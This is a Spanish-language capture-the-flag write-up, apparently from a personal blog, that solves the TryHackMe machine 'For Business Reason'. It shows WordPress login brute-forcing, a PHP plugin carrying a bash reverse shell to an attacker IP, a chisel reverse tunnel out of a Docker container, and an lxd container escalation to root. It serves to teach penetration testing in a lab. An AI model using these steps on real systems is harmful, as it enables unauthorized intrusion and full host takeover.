This page looks best with JavaScript enabled

TryHackMe - For Business Reason

 ·  ☕ 11 min read  ·  ✍️ sckull

For Business Reason es una maquina de TryHackMe aqui encontrarás la solucion para obtener la flag user.txt y root.txt.

Informacion de la Maquina

Titulo For Business Reason
Info In your network scan, you found an unknown VM….
Puntos 190
Dificultad Dificil
Maker MsMouse

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto http (80) abierto, desconocido (7946) y el puerto ssh (22) aparentemente cerrado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Nmap 7.80 scan initiated Sat Sep 19 21:19:12 2020 as: nmap -p- --min-rate 1000 -o allports bussines.thm
Nmap scan report for bussines.thm (10.10.85.176)
Host is up (0.36s latency).
Not shown: 65532 filtered ports
PORT     STATE  SERVICE
22/tcp   closed ssh
80/tcp   open   http
7946/tcp closed unknown

# Nmap done at Sat Sep 19 21:21:24 2020 -- 1 IP address (1 host up) scanned in 132.07 seconds

# Nmap 7.80 scan initiated Sat Sep 19 21:21:51 2020 as: nmap -sV -sC -p 22,80,7946 -o servicesport bussines.thm
Nmap scan report for bussines.thm (10.10.85.176)
Host is up (0.29s latency).

PORT     STATE  SERVICE VERSION
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.4.38 ((Debian))
|_http-generator: WordPress 5.4.2
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: MilkCo Test/POC site – Just another WordPress site
7946/tcp closed unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 19 21:22:13 2020 -- 1 IP address (1 host up) scanned in 21.70 seconds

HTTP

Encontramos una pagina web WordPress en el puerto 80.
image

RUSTBUSTER

Utilizamos RUSTBUSTER para busqueda de directorios y archivos, en donde podemos observar varias direcciones las cuales se muestran diferentes a lo normal pero que son direcciones no disponibles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
kali@kali:~/thm/bussiness$ /opt/rustbuster/rustbuster dir -u http://10.10.141.160 -w /usr/share/seclists/Discovery/Web-Content/big.txt -e php,html,txt
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~

         _     _                 _         _           _        _                 _         _           _           _     
        /\ \  /\_\              / /\      /\ \        / /\     /\_\              / /\      /\ \        /\ \        /\ \   
       /  \ \/ / /         _   / /  \     \_\ \      / /  \   / / /         _   / /  \     \_\ \      /  \ \      /  \ \  
      / /\ \ \ \ \__      /\_\/ / /\ \__  /\__ \    / / /\ \  \ \ \__      /\_\/ / /\ \__  /\__ \    / /\ \ \    / /\ \ \ 
     / / /\ \_\ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \ \  \ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \_\  / / /\ \_\
    / / /_/ / /\__  /   / / /\ \ \ \/___/ / /\ \ \/ / /\ \_\ \  \__  /   / / /\ \ \ \/___/ / /\ \ \/ /_/_ \/_/ / / /_/ / /
   / / /__\/ / / / /   / / /  \ \ \    / / /  \/_/ / /\ \ \___\ / / /   / / /  \ \ \    / / /  \/_/ /____/\   / / /__\/ / 
  / / /_____/ / / /   / / _    \ \ \  / / /     / / /  \ \ \__// / /   / / _    \ \ \  / / /     / /\____\/  / / /_____/  
 / / /\ \ \  / / /___/ / /_/\__/ / / / / /     / / /____\_\ \ / / /___/ / /_/\__/ / / / / /     / / /______ / / /\ \ \    
/ / /  \ \ \/ / /____\/ /\ \/___/ / /_/ /     / / /__________/ / /____\/ /\ \/___/ / /_/ /     / / /_______/ / /  \ \ \   
\/_/    \_\/\/_________/  \_____\/  \_\/      \/_____________\/_________/  \_____\/  \_\/      \/__________\/_/    \_\/   


[?] Started at	: 2020-09-19 21:25:08

GET	301 Moved Permanently		http://10.10.141.160/!
						=> http://10.10.141.160/
GET     301 Moved Permanently           http://10.10.141.160/0
						=> http://10.10.141.160/0/
GET     301 Moved Permanently           http://10.10.141.160/0000
						=> http://10.10.141.160/0000/
GET     301 Moved Permanently           http://10.10.141.160/2020
						=> http://10.10.141.160/2020/
GET     301 Moved Permanently           http://10.10.141.160/asdfjkl;
						=> http://10.10.141.160/asdfjkl
GET     301 Moved Permanently           http://10.10.141.160/atom
						=> http://10.10.141.160/feed/atom/
GET     301 Moved Permanently           http://10.10.141.160/embed
						=> http://10.10.141.160/embed/
GET     302 Found                       http://10.10.141.160/favicon.ico
						=> http:/wp-includes/images/w-logo-blue-white-bg.png
GET     301 Moved Permanently           http://10.10.141.160/feed
						=> http://10.10.141.160/feed/
GET     301 Moved Permanently           http://10.10.141.160/fixed!
						=> http://10.10.141.160/fixed
GET     200 OK                          http://10.10.141.160/images
GET     301 Moved Permanently           http://10.10.141.160/index.php
						=> http://10.10.141.160/
GET     200 OK                          http://10.10.141.160/license.txt
GET     403 Forbidden                   http://10.10.141.160/lost%2Bfound
GET     403 Forbidden                   http://10.10.141.160/lost+found
GET     301 Moved Permanently           http://10.10.141.160/mysql
						=> http://10.10.141.160/mysql/
GET     200 OK                          http://10.10.141.160/note.txt
GET     301 Moved Permanently           http://10.10.141.160/page1
						=> http://10.10.141.160/
GET     301 Moved Permanently           http://10.10.141.160/rdf
						=> http://10.10.141.160/feed/rdf/
GET     200 OK                          http://10.10.141.160/readme.html
GET     200 OK                          http://10.10.141.160/robots.txt
GET     200 OK                          http://10.10.141.160/robots.txt
GET     301 Moved Permanently           http://10.10.141.160/rss
						=> http://10.10.141.160/feed/
GET     301 Moved Permanently           http://10.10.141.160/rss2
						=> http://10.10.141.160/feed/
GET     301 Moved Permanently           http://10.10.141.160/sample-page
						=> http://10.10.141.160/sample-page/
GET     403 Forbidden                   http://10.10.141.160/server-status
GET     301 Moved Permanently           http://10.10.141.160/wp-admin
						=> http://10.10.141.160/wp-admin/
GET     200 OK                          http://10.10.141.160/wp-config.php
GET     301 Moved Permanently           http://10.10.141.160/wp-content
						=> http://10.10.141.160/wp-content/
GET     301 Moved Permanently           http://10.10.141.160/wp-feed.php
						=> http:/feed/
GET     301 Moved Permanently           http://10.10.141.160/wp-includes
						=> http://10.10.141.160/wp-includes/
GET     200 OK                          http://10.10.141.160/wp-login.php
GET     301 Moved Permanently           http://10.10.141.160/wp-register.php
						=> http:/wp-login.php?action=register
GET     301 Moved Permanently           http://10.10.141.160/wp-rss2.php
						=> http:/feed/
GET     405 Method Not Allowed          http://10.10.141.160/xmlrpc.php

Encontramos en el archivo robots.txt la direccion del panel de wordpress, tambien vemos una nota donde hablan sobre wordpress en un contenedor de docker.

1
2
3
  User-agent: *
  Disallow: /wp-admin/
  Allow: /wp-admin/admin-ajax.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  from ticket 2915
  cio wants to save money- asked us to move the wordpress site off the hosted.  I setup the same versions in the docker container with teh startup script. POC complete will wait on cio's office to test and see if acceptable
  -BWJ

  Ticket 3313
  software audit found this version downlevel, added script to make sure its latest
  -RLB

  Ticket 3622
  Quarterly password change completed
  -BWJ

  Ticket 4119
  Quarterly password change completed
  -BWJ

  Ticket 4322
  Auto update broke site, got a page.  Disabled updates for now. emailed Rick Bligh to warn him.  Emailed Bill Johnson to ask him to follow up with CIO's office and get this tested.  Going back to bed. 
  -RLP

  Ticket 4325
  Updates fixed, reeneabled. RLB isn't here anymore.  Talk to the CIO not me. 
  -BWJ

WPSCAN

Utilizamos wpscan para busqueda de vulnerabilidades y usuarios en la pagina de wordpress en donde encontramos un usuario: sysadmin y la version de wordpress. Con el usuario ejecutamos un ataque de fuerza bruta junto al wordlist rockyou.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
[+] WordPress version 5.4.2 identified (Latest, released on 2020-06-10).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://bussines.thm/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://bussines.thm/, Match: 'WordPress 5.4.2'

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <===============================================================================================================> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] sysadmin
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://bussines.thm/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Rss Generator (Aggressive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

image

WWW-DATA

Utilizamos las credenciales que encontramos en wpscan para ingresar a wordpress, en donde vemos que el usuario sysadmin es administrador. Para obtener una shell creamos un “plugin” el cual se ejecuta cuando este es activado o desactivado en el panel de Plugins. Para la creacion de nuestro plugin utilizamos el siguiente archivo php el cual comprimimos con zip.

Usuario Administrador
image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php

/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: Vince Matteo
* Author URI: http://www.sevenlayers.com
*/

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/8080 0>&1'");
?>
1
zip super-duper-plugin.zip shell.php

Una vez creado nuestro archivo zip ponemos a la escucha netcat en el puerto indicado en nuestra shell e instalamos el plugin en el panel de plugins. Luego de activar el plugin logramos obtener una shell con usuario www-data y nuestra flag flag0.txt.

Instalacion de Plugin
image
image
image

DOCKER & CHISEL

En la maquina no logramos encontrar algun tipo de binario, archivo, cron o usuario que nos ayude a escalar privilegios ya que el lugar donde nos encontramos es un contenedor de docker. Lo mencionaron en el archivo notes.txt, para comprobar esto es posible ver el directorio / donde comunmente se encuentra el archivo .dockerenv, además de ello en la carpeta de wordpress (/var/www/html) encontramos un archivo de docker que contiene la configuracion para que wordpress se ejecute en un contenedor, tambien encontramos que muchos de los comandos que comunmente se encuentran en una maquina en linux no existen.

Docker
image
image

Con todo esto lo unico que nos queda es analizar las IPs de alguna otra maquina, pero recordemos, la maquina tiene el puerto ssh (22) ¿cerrado?. Utilizando curl descargamos netcat para poder realizar un escaneo de puertos a nuestra IP e IPs.

1
2
3
4
5
#Local Machine
python3 -m http.server 80

#Bussines Machine as WWW-DATA
curl 10.10.10.10/nc -o nc

Ejecutamos hostname -I para conocer nuestra IP ya que net-tools no esta instalado en el contenedor, realizamos un escaneo de puertos y un test de conexion al puerto 22 con la IP o IPs encontradas con los siguientes comandos:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#IP address
www-data@803690c13932:/tmp/tmp$ hostname -I
hostname -I
10.255.0.4 172.18.0.4 10.0.0.5

#port 22 - scan
www-data@803690c13932:/tmp/tmp$ for i in {1..25}; do ./nc -v -n -z -w 1 172.18.0.$i 22; done
<{1..25}; do ./nc -v -n -z -w 1 172.18.0.$i 22; done
(UNKNOWN) [172.18.0.1] 22 (?) open
(UNKNOWN) [172.18.0.2] 22 (?) : Connection timed out
(UNKNOWN) [172.18.0.3] 22 (?) : Connection timed out
(UNKNOWN) [172.18.0.4] 22 (?) : Connection refused
[... REDACTED ...]

#Test - port 22
www-data@803690c13932:/tmp/tmp$ ./nc 172.18.0.1 22
./nc 172.18.0.1 22
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.1

Protocol mismatch.

Vemos que el puerto 22 esta a la escucha, pero al parecer solo esta localmente (127.0.0.1:22). Para poder realizar una enumeracion a este puerto es necesario exponerlo o traerlo localmente a nuestra maquina, para ello utilizamos Chisel, 0xdf explica un poco acerca de esta herramienta. Basicamente lo que vamos a realizar es, obtener el puerto 22 de la maquina bussines.thm a un puerto local de nuestra maquina con los siguientes comandos:

1
2
3
4
5
6
7
#Local - Kali
#chisel server -p <PORT> --reverse
kali@kali:~/thm/bussiness$ ./chisel server -p 8181 --reverse
2020/09/19 22:33:43 server: Reverse tunnelling enabled
2020/09/19 22:33:43 server: Fingerprint f6:e0:73:5b:cb:b3:0f:1f:da:8f:9b:93:81:af:7a:ab
2020/09/19 22:33:43 server: Listening on http://0.0.0.0:8181
2020/09/19 22:33:46 server: session#1: tun: proxy#R:2222=>172.18.0.1:22: Listening

Y en la maquina (bussines.thm) descargamos y tambien ejecutamos chisel:

1
2
3
4
5
6
7
#bussines.thm
#chisel client <SERVER-IP>:<SERVER-PORT> R:<LOCAL-PORT-DEST>:<IP-TO-REVERSE>:<PORT-TO-REVERSE>
www-data@803690c13932:/tmp/tmp$ ./chisel client 10.10.10.10:8181 R:2222:172.18.0.1:22
<chisel client 10.2.29.162:8181 R:2222:172.18.0.1:22
2020/09/20 02:33:25 client: Connecting to ws://10.10.10.10:8181
2020/09/20 02:33:45 client: Fingerprint f6:e0:73:5b:cb:b3:0f:1f:da:8f:9b:93:81:af:7a:ab
2020/09/20 02:33:46 client: Connected (Latency 302.520711ms)

Ahora podemos verificar que el puerto 22 de la IP 172.18.0.1 este localmente en el puerto 2222 de nuestro localhost:

1
2
3
4
5
6
7
kali@kali:~/thm/bussiness$ netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      12764/python3       
tcp6       0      0 :::2222                 :::*                    LISTEN      12882/./chisel      <<<-------
tcp6       0      0 :::8181                 :::*                    LISTEN      12882/./chisel      
kali@kali:~/thm/bussiness$

SYSADMIN - USER

Reutilizando las credenciales del usuario sysadmin ingresamos al servicio SSH de la maquina bussines.thm mediante el puerto local 2222. Logrando obtener una shell con este usuario y nuestra flag flag1.txt.
image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con id y vemos que el usuario pertenece al grupo de lxd.

1
2
sysadmin@ubuntu:~$ id
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),122(docker)

Ya que este usuario pertenece a este grupo (lxd) vamos a escalar privilegios a traves de este al igual que en la maquina de THM - GamingServer.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#LOCAL
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine -a i686

#BUSSINES.THM MACHINE
lxc image import ./alpine-v3.12-i686-20200831_2152.tar.gz --alias myimage
lxc image list

lxc init myimage sckull -c security.privileged=true
lxc config device add sckull mydevice disk source=/ path=/mnt/root recursive=true
lxc start sckull
lxc exec sckull /bin/sh

Logramos obtener una shell con usuario root y nuestra ultima flag flag2.txt.
image

Share on

sckull
WRITTEN BY
sckull
Pentester wannabe

THM: For Business Reason